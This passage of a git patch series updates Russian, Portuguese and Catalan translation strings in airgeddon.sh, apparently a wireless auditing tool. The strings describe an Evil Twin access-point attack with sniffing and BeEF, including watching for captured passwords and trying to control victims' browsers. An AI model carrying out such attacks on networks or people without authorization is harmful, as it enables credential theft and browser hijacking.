έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημα είναι ότι το script δεν το εντοπίζει" arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" @@ -3813,7 +3813,7 @@ function language_strings() { arr["FRENCH",410]="2. Essayez de résoudre le problème BeEF installé manuellement" arr["CATALAN",410]="${pending_of_translation} 2. Intentar solucionar problema de dependència BeEF instal·lat manualment" arr["PORTUGUESE",410]="${pending_of_translation} 2. Tente resolver BeEF problema de dependência instalado manualmente" - arr["RUSSIAN",410]="${pending_of_translation} 2. Попробуйте устранить проблему вручную установлена зависимость BeEF" + arr["RUSSIAN",410]="2. Попробуйте устранить проблему вручную установив зависимости BeEF" arr["GREEK",410]="2. Προσπαθήστε να αντιμετωπίσετε το πρόβλημα με τα dependencies του χειροκίνητα εγκατεστημένου BeEF" arr["ENGLISH",411]="3. Return to Evil Twin attacks menu" @@ -3829,7 +3829,7 @@ function language_strings() { arr["FRENCH",412]="Vous n'êtes pas obligé de le faire. BeEF est opérationnel" arr["CATALAN",412]="${pending_of_translation} No necessites realitzar aquesta acció. El teu BeEF està operatiu" arr["PORTUGUESE",412]="${pending_of_translation} Você não precisa fazer isso. Suo BeEF está operacional" - arr["RUSSIAN",412]="${pending_of_translation} Вам не нужно, чтобы выполнить это действие. Ваш BeEF находится в рабочем состоянии" + arr["RUSSIAN",412]="Вам не нужно выполнять это действие. Ваш BeEF находится в рабочем состоянии" arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" arr["ENGLISH",413]="airgeddon fixed the problem. Your BeEF is operational" @@ -3837,7 +3837,7 @@ function language_strings() { arr["FRENCH",413]="airgeddon a résolu le problème. BeEF est opérationnel" arr["CATALAN",413]="${pending_of_translation} airgeddon ha solucionat el problema. El teu BeEF està operatiu" arr["PORTUGUESE",413]="${pending_of_translation} airgeddon corrigiu o problema. Suo BeEF está operacional" - arr["RUSSIAN",413]="${pending_of_translation} airgeddon устранило проблему. Ваш BeEF находится в рабочем состоянии" + arr["RUSSIAN",413]="airgeddon устранил проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" @@ -3845,7 +3845,7 @@ function language_strings() { arr["FRENCH",414]="Curl n'est pas installé. Vous ne pouvez pas télécharger le fichier de la base de donées PIN" arr["CATALAN",414]="${pending_of_translation} No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" arr["PORTUGUESE",414]="${pending_of_translation} Você não tem curl instalado. Você não pode baixar o arquivo de os PINs de banco de dados" - arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" + arr["RUSSIAN",414]="У вас не установлен curl. Невозможно загрузить файл базы данных PIN" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" @@ -3853,7 +3853,7 @@ function language_strings() { arr["FRENCH",415]="${pending_of_translation} ${blue_color}airgeddon sait que vous avez installé BeEF et les raisins secs validation, mais n'a pas pu indiquer le chemin exact du répertoire où vous avez installé BeEF. Connaître l'emplacement exact a certains avantages lors de l'exécution depuis la configuration sera personnalisée plutôt qu'une configuration générique. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" arr["PORTUGUESE",415]="${pending_of_translation} ${blue_color}airgeddon sabe que você instalou validação BeEF, mas não pôde especificar o caminho exato para o diretório onde você instalou BeEF. Sabendo a localização exacta tem algumas vantagens quando executá-lo desde a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" - arr["RUSSIAN",415]="${pending_of_translation} ${blue_color}airgeddon знает вас установлен BeEF и вы проходите проверку, но это было не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Для того, чтобы знать, что имеет некоторые преимущества для выполнения, так как его конфигурационный файл может быть изменен, а не общий характер. ${green_color}Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" + arr["RUSSIAN",415]="${blue_color}airgeddon знает, что у вас установлен BeEF и вы успешно прошли проверку, но скрипт оказался не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Знание расположения даёт некоторые преимущества при выполнении, поскольку появляется возможность настроить его конфигурационный файл, а не использовать настройки по умолчанию. ${green_color}Вы хотите ввести расположение вручную? ${normal_color}[y/n]" arr["GREEK",415]="${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί καταλλήλως, αντιθέτως με το προεπιλεγμένο. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" @@ -3861,7 +3861,7 @@ function language_strings() { arr["FRENCH",416]="${pending_of_translation} Vous pouvez exécuter BeEF, mais il est recommandé d'exécuter la deuxième option de menu avant" arr["CATALAN",416]="${pending_of_translation} Pots executar BeEF, però és recomanable executar la segona opció del menú abans" arr["PORTUGUESE",416]="${pending_of_translation} Você pode executar BeEF, mas é recomendado para executar a segunda opção de menu antes" - arr["RUSSIAN",416]="${pending_of_translation} Вы можете запустить BeEF, но это лучше, если вы запустите второй вариант перед" + arr["RUSSIAN",416]=" Вы можете запустить BeEF, но лучше, если вы сначала запустите вторую опцию" arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πριν" case "${3}" in From ec67167b248ae1b5e45fbe95d20938ab5b469894 Mon Sep 17 00:00:00 2001 From: Luan Date: Tue, 24 Jan 2017 02:46:29 -0200 Subject: [PATCH 48/55] Updated portuguese translation --- airgeddon.sh | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 434b21e45..1701dbfb5 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -523,7 +523,7 @@ function language_strings() { et_misc_texts["SPANISH",27]="Este ataque tiene dos partes. Estate atento a la pantalla del sniffer para ver si aparece alguna contraseña. También puedes abrir el panel de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , hacer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e intentar controlar el navegador de los clientes" et_misc_texts["FRENCH",27]="Cette attaque comporte deux parties. Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé. Vous pouvez également ouvrir le BeEF du panneau de commande dans ${white_color}${beef_control_panel_url}${pink_color} , pour vous connecter (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) et essayer de contrôler le navigateur client" et_misc_texts["CATALAN",27]="Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" - et_misc_texts["PORTUGUESE",27]="${pending_of_translation} Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir BeEF painel de controle no ${white_color}${beef_control_panel_url}${pink_color} , para login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador do clientes" + et_misc_texts["PORTUGUESE",27]="Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir o painel de controle do BeEF em ${white_color}${beef_control_panel_url}${pink_color} , para login (user: ${white_color}beef${pink_color} / senha: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador dos clientes" et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" @@ -2060,7 +2060,7 @@ function language_strings() { arr["SPANISH",191]="${blue_color}airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" arr["FRENCH",191]="${pending_of_translation} ${blue_color}airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" arr["CATALAN",191]="${pending_of_translation} ${blue_color}airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" - arr["PORTUGUESE",191]="${pending_of_translation} ${blue_color}airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" + arr["PORTUGUESE",191]="${blue_color}O airgeddon não conseguiu encontrar o diretório onde você instalou o BeEF. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" arr["RUSSIAN",191]="${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите ввести его вручную? ${normal_color}[y/n]" arr["GREEK",191]="${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" @@ -3732,7 +3732,7 @@ function language_strings() { arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" arr["FRENCH",400]="Avec l'attaque Evil Twin plus BeEF il est possible obtenir les clés en sniffant, mais pas seulement. Vous pouvez essayer de prendre le contrôle du navigateur web de la vicitme. Le succès des attaques proposées dépendra, entre autre, de la version du navigateur installé" arr["CATALAN",400]="En l'atac Evil Twin amb Beef integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" - arr["PORTUGUESE",400]="${pending_of_translation} No ataque Evil Twin com carne integrado, além de obter chaves com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, tais como tipo de navegador e versão utilizada pelo cliente" + arr["PORTUGUESE",400]="No ataque Evil Twin com BeEF integrado, além de obter chaves com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, como tipo de navegador e versão utilizada pelo cliente" arr["RUSSIAN",400]="С атакой Злой Двойник в дополнении к получению паролей, применяя техники сниффинга, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" @@ -3740,7 +3740,7 @@ function language_strings() { arr["SPANISH",401]="El paquete beef que tienes instalado no es BeEF (Browser Exploitation Framework). Tienes instalado Beef (Flexible Brainfuck interpreter). Ambos ejecutables se llaman igual y puede dar lugar a confusión. Desinstálalo e instala el que airgeddon necesita si quieres usar esa característica. Guía de instalación: ${beef_installation_url}" arr["FRENCH",401]="Le paquet beef installé n'est pas le bon: Vous avez installé Beef (Flexible Brainfuck interpreter) et vous devez installer BeEF (Browser Exploitation Framework). Les deux ont le même nom et peut induire en erreur. Désinstallez et installez la version dont airgeddon a besoin si vous souhaitez utiliser cette fonctionnalité. Guide d'installation: ${beef_installation_url}" arr["CATALAN",401]="El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" - arr["PORTUGUESE",401]="${pending_of_translation} O beef de ter instalado não é BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos mesmo nome executável e pode levar a confusão. Desinstalá-lo e instalá-lo airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" + arr["PORTUGUESE",401]="O pacote beef instalado instalado não é o BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos possuem o mesmo nome e executável o que pode levar a confusão. Desinstale-o e instale o que o airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" arr["RUSSIAN",401]="Установленный вами пакет beef не является пакетом BeEF (Browser Exploitation Framework). Вы установили Beef (Flexible Brainfuck interpreter). Оба исполнимых файла имеют одинаковое имя и могут вызвать путаницу. Если вы хотите использовать эту функцию, удалите его и установите тот, который требует airgeddon. Инструкция по установке: ${beef_installation_url}" arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" @@ -3748,7 +3748,7 @@ function language_strings() { arr["SPANISH",402]="Introduce la ruta absoluta del directorio donde está instalado BeEF :" arr["FRENCH",402]="Entrez la route absolue vers le dossier où BeEF est installé :" arr["CATALAN",402]="${pending_of_translation} Introdueix la ruta absoluta del directori on està instal·lat BeEF :" - arr["PORTUGUESE",402]="${pending_of_translation} Digite o caminho absoluto do diretório onde BeEF está instalado :" + arr["PORTUGUESE",402]="Digite o caminho absoluto do diretório onde BeEF está instalado :" arr["RUSSIAN",402]="Введите абсолютный путь к каталогу, в котором установлен BeEF :" arr["GREEK",402]="Εισάγετε το απόλυτο μονοπάτι για τον κατάλογο στον όποιο βρίσκεται εγκατεστημένο το BeEF :" @@ -3756,7 +3756,7 @@ function language_strings() { arr["SPANISH",403]="El directorio introducido no existe" arr["FRENCH",403]="Le dossier indiqué n'existe pas" arr["CATALAN",403]="${pending_of_translation} El directori introduït no existeix" - arr["PORTUGUESE",403]="${pending_of_translation} O diretório digitado não existe" + arr["PORTUGUESE",403]="O diretório digitado não existe" arr["RUSSIAN",403]="Каталог, который вы ввели, не существует" arr["GREEK",403]="Ο κατάλογος που έχετε εισάγει δεν υπάρχει" @@ -3764,7 +3764,7 @@ function language_strings() { arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" arr["FRENCH",404]="La route saisie n'est pas absolue. Une route absolue doit toujours commencer par \"/\"" arr["CATALAN",404]="${pending_of_translation} La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" - arr["PORTUGUESE",404]="${pending_of_translation} O caminho digitado não é absoluta. Um caminho absoluto deve sempre começar com \"/\"" + arr["PORTUGUESE",404]="O caminho digitado não é absoluta. Um caminho absoluto deve sempre começar com \"/\"" arr["RUSSIAN",404]="Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" arr["GREEK",404]="Το μονοπάτι που έχετε εισάγει δεν είναι απόλυτο. Ένα απόλυτο μονοπάτι πρέπει πάντα να ξεκινάει με \"/\"" @@ -3772,7 +3772,7 @@ function language_strings() { arr["SPANISH",405]="Comprobando BeEF..." arr["FRENCH",405]="Vérification de BeEF..." arr["CATALAN",405]="${pending_of_translation} Comprovant BeEF..." - arr["PORTUGUESE",405]="${pending_of_translation} Verificando BeEF..." + arr["PORTUGUESE",405]="Verificando BeEF..." arr["RUSSIAN",405]="Проверка BeEF..." arr["GREEK",405]="Γίνεται έλεγχος του BeEF..." @@ -3780,7 +3780,7 @@ function language_strings() { arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" arr["FRENCH",406]="BeEF n'est pas présent dans le dossierque vous avez indiqué" arr["CATALAN",406]="${pending_of_translation} No s'ha detectat un executable de BeEF al directori indicat" - arr["PORTUGUESE",406]="${pending_of_translation} Não detectou um BeEF executável no diretório especificado" + arr["PORTUGUESE",406]="O executável do BeEF não foi detectado no diretório especificado" arr["RUSSIAN",406]="Ни один исполняемый файл BeEF не был обнаружен в заданной директории" arr["GREEK",406]="Δεν εντοπίστηκε κάποιο εκτελέσιμο αρχείο BeEF στον κατάλογο που έχετε εισάγει" @@ -3788,7 +3788,7 @@ function language_strings() { arr["SPANISH",407]="Preparación BeEF" arr["FRENCH",407]="${pending_of_translation} Préparation BeEF" arr["CATALAN",407]="${pending_of_translation} Preparació BeEF" - arr["PORTUGUESE",407]="${pending_of_translation} Preparação BeEF" + arr["PORTUGUESE",407]="Preparando BeEF" arr["RUSSIAN",407]="Подготовка BeEF" arr["GREEK",407]="Προετοιμασία του BeEF" @@ -3796,7 +3796,7 @@ function language_strings() { arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" arr["FRENCH",408]="Si BeEF a été installé manuellement, il se peut qu'airgeddon ne soit pas en mesure de le trouver. L'option dédiée ne sera pas accessible. Vous pouvez essayer de la réparer en utilisant l'option consacrée à cette tâche depuis le menu spécial. Ça ne marchera que si BeEf est correctement instalé et c'est le script qui n'est pas capable de le détecter" arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" - arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" + arr["PORTUGUESE",408]="Se BeEF foi instalado manualmente, o airgeddon não pode encontrá-lo automaticamente e a opção de ataque aparecerá bloqueada. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não o detecta" arr["RUSSIAN",408]="Если вы установили BeEF вручную, airgeddon может быть не в состоянии найти его, и опция атаки в меню может быть ограничена. Для исправления этого, вы можете попытаться решить эту проблему с помощью специального пункта меню. Это сработает только если BeEF уже правильно установлен, и ваша единственная проблема в том, что скрипт не обнаруживает его" arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φανεί σαν περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημα είναι ότι το script δεν το εντοπίζει" @@ -3812,7 +3812,7 @@ function language_strings() { arr["SPANISH",410]="2. Intentar solucionar problema de dependencia BeEF instalado manualmente" arr["FRENCH",410]="2. Essayez de résoudre le problème BeEF installé manuellement" arr["CATALAN",410]="${pending_of_translation} 2. Intentar solucionar problema de dependència BeEF instal·lat manualment" - arr["PORTUGUESE",410]="${pending_of_translation} 2. Tente resolver BeEF problema de dependência instalado manualmente" + arr["PORTUGUESE",410]="2. Tente resolver o problema de dependência do BeEF instalado manualmente" arr["RUSSIAN",410]="2. Попробуйте устранить проблему вручную установив зависимости BeEF" arr["GREEK",410]="2. Προσπαθήστε να αντιμετωπίσετε το πρόβλημα με τα dependencies του χειροκίνητα εγκατεστημένου BeEF" @@ -3828,7 +3828,7 @@ function language_strings() { arr["SPANISH",412]="No necesitas realizar esta acción. Tu BeEF está operativo" arr["FRENCH",412]="Vous n'êtes pas obligé de le faire. BeEF est opérationnel" arr["CATALAN",412]="${pending_of_translation} No necessites realitzar aquesta acció. El teu BeEF està operatiu" - arr["PORTUGUESE",412]="${pending_of_translation} Você não precisa fazer isso. Suo BeEF está operacional" + arr["PORTUGUESE",412]="Você não precisa fazer isso. Seu BeEF está operacional" arr["RUSSIAN",412]="Вам не нужно выполнять это действие. Ваш BeEF находится в рабочем состоянии" arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" @@ -3836,7 +3836,7 @@ function language_strings() { arr["SPANISH",413]="airgeddon ha solucionado el problema. Tu BeEF está operativo" arr["FRENCH",413]="airgeddon a résolu le problème. BeEF est opérationnel" arr["CATALAN",413]="${pending_of_translation} airgeddon ha solucionat el problema. El teu BeEF està operatiu" - arr["PORTUGUESE",413]="${pending_of_translation} airgeddon corrigiu o problema. Suo BeEF está operacional" + arr["PORTUGUESE",413]="O airgeddon corrigiu o problema. Seu BeEF está operacional" arr["RUSSIAN",413]="airgeddon устранил проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" @@ -3844,7 +3844,7 @@ function language_strings() { arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" arr["FRENCH",414]="Curl n'est pas installé. Vous ne pouvez pas télécharger le fichier de la base de donées PIN" arr["CATALAN",414]="${pending_of_translation} No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" - arr["PORTUGUESE",414]="${pending_of_translation} Você não tem curl instalado. Você não pode baixar o arquivo de os PINs de banco de dados" + arr["PORTUGUESE",414]="Você não tem o pacote curl instalado. Você não pode baixar o arquivo de banco de dados de PINs" arr["RUSSIAN",414]="У вас не установлен curl. Невозможно загрузить файл базы данных PIN" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" @@ -3852,7 +3852,7 @@ function language_strings() { arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" arr["FRENCH",415]="${pending_of_translation} ${blue_color}airgeddon sait que vous avez installé BeEF et les raisins secs validation, mais n'a pas pu indiquer le chemin exact du répertoire où vous avez installé BeEF. Connaître l'emplacement exact a certains avantages lors de l'exécution depuis la configuration sera personnalisée plutôt qu'une configuration générique. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" - arr["PORTUGUESE",415]="${pending_of_translation} ${blue_color}airgeddon sabe que você instalou validação BeEF, mas não pôde especificar o caminho exato para o diretório onde você instalou BeEF. Sabendo a localização exacta tem algumas vantagens quando executá-lo desde a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" + arr["PORTUGUESE",415]="${blue_color}O airgeddon sabe que você instalou o BeEF e validou a instalacão, mas não pôde encontrar o caminho exato do diretório onde você instalou BeEF. Sabendo a localização exata tem algumas vantagens quando executá-lo a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" arr["RUSSIAN",415]="${blue_color}airgeddon знает, что у вас установлен BeEF и вы успешно прошли проверку, но скрипт оказался не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Знание расположения даёт некоторые преимущества при выполнении, поскольку появляется возможность настроить его конфигурационный файл, а не использовать настройки по умолчанию. ${green_color}Вы хотите ввести расположение вручную? ${normal_color}[y/n]" arr["GREEK",415]="${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί καταλλήλως, αντιθέτως με το προεπιλεγμένο. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" @@ -3860,7 +3860,7 @@ function language_strings() { arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" arr["FRENCH",416]="${pending_of_translation} Vous pouvez exécuter BeEF, mais il est recommandé d'exécuter la deuxième option de menu avant" arr["CATALAN",416]="${pending_of_translation} Pots executar BeEF, però és recomanable executar la segona opció del menú abans" - arr["PORTUGUESE",416]="${pending_of_translation} Você pode executar BeEF, mas é recomendado para executar a segunda opção de menu antes" + arr["PORTUGUESE",416]=" Você pode executar BeEF, mas é recomendado executar a segunda opção de menu antes" arr["RUSSIAN",416]=" Вы можете запустить BeEF, но лучше, если вы сначала запустите вторую опцию" arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πριν" From 952fdd03a8a582141439b49dfca3209b6374b597 Mon Sep 17 00:00:00 2001 From: cLn73 Date: Tue, 24 Jan 2017 16:47:19 +0100 Subject: [PATCH 49/55] Updated Catalan translations --- airgeddon.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 1701dbfb5..74b742ea1 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2059,7 +2059,7 @@ function language_strings() { arr["ENGLISH",191]="${blue_color}airgeddon can't find the directory path where you have BeEF installed. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" arr["SPANISH",191]="${blue_color}airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" arr["FRENCH",191]="${pending_of_translation} ${blue_color}airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" - arr["CATALAN",191]="${pending_of_translation} ${blue_color}airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" + arr["CATALAN",191]="${blue_color}airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" arr["PORTUGUESE",191]="${blue_color}O airgeddon não conseguiu encontrar o diretório onde você instalou o BeEF. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" arr["RUSSIAN",191]="${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите ввести его вручную? ${normal_color}[y/n]" arr["GREEK",191]="${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" @@ -3747,7 +3747,7 @@ function language_strings() { arr["ENGLISH",402]="Enter the absolute path of the directory where BeEF is installed :" arr["SPANISH",402]="Introduce la ruta absoluta del directorio donde está instalado BeEF :" arr["FRENCH",402]="Entrez la route absolue vers le dossier où BeEF est installé :" - 